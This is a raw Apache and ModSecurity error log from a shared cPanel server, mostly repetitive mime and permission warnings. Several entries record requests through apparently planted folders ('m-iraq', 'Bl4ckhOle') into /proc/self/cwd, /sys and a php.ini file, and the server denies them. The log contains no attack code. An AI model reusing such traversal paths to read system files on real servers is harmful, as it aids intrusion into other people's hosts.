[Fri Jul 17 09:17:45.079128 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:45.183477 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:45.184209 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/irq/10/"] [unique_id "alml4V1_86A5R6msWNfYcQAAABI"]
[Fri Jul 17 09:17:45.184235 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/irq/10/"] [unique_id "alml4V1_86A5R6msWNfYcQAAABI"]
[Fri Jul 17 09:17:45.388380 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:45.506199 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:45.603868 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:45.719189 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:45.918517 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:45.971728 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory0/subsystem/devices/memory133/node0/memory125/subsystem/devices/memory37/node0/memory73/subsystem/"] [unique_id "alml4Vh1WDijTxd1xw5QPwAAAAc"]
[Fri Jul 17 09:17:45.971762 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory0/subsystem/devices/memory133/node0/memory125/subsystem/devices/memory37/node0/memory73/subsystem/"] [unique_id "alml4Vh1WDijTxd1xw5QPwAAAAc"]
[Fri Jul 17 09:17:46.043658 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:46.170874 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:46.635617 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:46.702337 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:46.774492 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:06/subsystem/drivers/button/bind
[Fri Jul 17 09:17:46.994775 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:47.040820 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:47.142555 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:47.352803 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS0/device/uevent"] [unique_id "alml4-jME1mgqYZ5O94qDQAAAAE"]
[Fri Jul 17 09:17:47.352845 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS0/device/uevent"] [unique_id "alml4-jME1mgqYZ5O94qDQAAAAE"]
[Fri Jul 17 09:17:47.455606 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:48.170321 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:48.284265 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:48.384900 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:48.476794 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:48.580066 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:02/eject
[Fri Jul 17 09:17:48.788329 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:48.888723 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:49.093908 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:08/eject
[Fri Jul 17 09:17:49.207926 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:49.316227 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:49.484812 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/bash-completion/completions/lftpget"] [unique_id "alml5Y-0g_VSPeIeFN3ERwAAAAs"]
[Fri Jul 17 09:17:49.484847 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/bash-completion/completions/lftpget"] [unique_id "alml5Y-0g_VSPeIeFN3ERwAAAAs"]
[Fri Jul 17 09:17:49.516892 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:49.616953 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:49.783335 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:50.146382 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:50.248190 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:50.489961 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/delete_device
[Fri Jul 17 09:17:50.844502 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alml5l1_86A5R6msWNfYdgAAABI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1176&page_105=1061
[Fri Jul 17 09:17:50.844532 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alml5l1_86A5R6msWNfYdgAAABI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1176&page_105=1061
[Fri Jul 17 09:17:50.878101 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:1f/eject
[Fri Jul 17 09:17:51.099627 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:51.319126 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:51.418987 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:51.640270 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:51.744557 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:51.848512 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/event4/power/control"] [unique_id "alml511_86A5R6msWNfYdwAAABI"]
[Fri Jul 17 09:17:51.848545 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/event4/power/control"] [unique_id "alml511_86A5R6msWNfYdwAAABI"]
[Fri Jul 17 09:17:51.951533 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.056757 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.189447 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.639358 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748143 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748263 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748326 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748401 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748458 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748495 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748617 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748642 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748770 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748817 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748852 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.748944 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.749034 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.749088 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.749178 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.749231 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.749342 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.749378 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.749451 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.749503 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:52.749550 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:53.179816 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:0b/eject
[Fri Jul 17 09:17:54.150475 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:22/eject
[Fri Jul 17 09:17:54.200896 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:54.267031 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:55.233105 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:55.258960 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:55.335616 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:55.541889 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:55.957159 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:56.159265 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:56.576844 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:57.116337 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:06/eject
[Fri Jul 17 09:17:57.326654 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:57.519122 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:57.590833 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:08/eject
[Fri Jul 17 09:17:57.727231 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:67/subsystem/event1/device/power/control"] [unique_id "alml7fwooI4qY7Jg93pZhgAAABM"]
[Fri Jul 17 09:17:57.727285 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:67/subsystem/event1/device/power/control"] [unique_id "alml7fwooI4qY7Jg93pZhgAAABM"]
[Fri Jul 17 09:17:57.790298 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:47446] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:58.495512 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 09:17:58.702945 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:58.819382 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/tty51/uevent"] [unique_id "alml7ujME1mgqYZ5O94qGAAAAAE"]
[Fri Jul 17 09:17:58.819418 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/tty51/uevent"] [unique_id "alml7ujME1mgqYZ5O94qGAAAAAE"]
[Fri Jul 17 09:17:59.031787 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:59.161591 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:59.285899 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:59.321300 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:59.357311 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:00.082971 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alml7wRRrtuZqNDDSqWzzQAAABo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1177&page_105=1061
[Fri Jul 17 09:18:00.082999 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alml7wRRrtuZqNDDSqWzzQAAABo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1177&page_105=1061
[Fri Jul 17 09:18:00.122279 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:00.527139 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:00.837654 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/sys/fs/datacycle/enable
[Fri Jul 17 09:18:01.358308 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:01.563550 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:01.809235 2026] [authz_core:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php55/etc/php.ini
[Fri Jul 17 09:18:01.977696 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:02.924811 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:03.001211 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:03.196700 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:03.226002 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:03.748227 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:04.057415 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:06/eject
[Fri Jul 17 09:18:04.485875 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:04.595936 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:04.876513 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:44516] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:05.135741 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.238518 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/TCP/cpu_slabs
[Fri Jul 17 09:18:05.345562 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:07/eject
[Fri Jul 17 09:18:05.447778 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.447956 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448028 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448121 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448181 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448240 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448294 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448353 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448417 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448475 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448529 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448614 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448668 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448724 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448786 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448844 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448899 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.448964 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449021 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449109 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449178 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449234 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449311 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449373 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449432 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449490 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449549 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449637 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449688 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449744 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449794 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449844 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449903 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.449959 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450016 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450103 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450161 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450214 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450270 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450324 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450379 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450442 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450497 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450536 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450607 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450664 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450741 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450807 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450878 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.450942 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451005 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451086 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451146 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
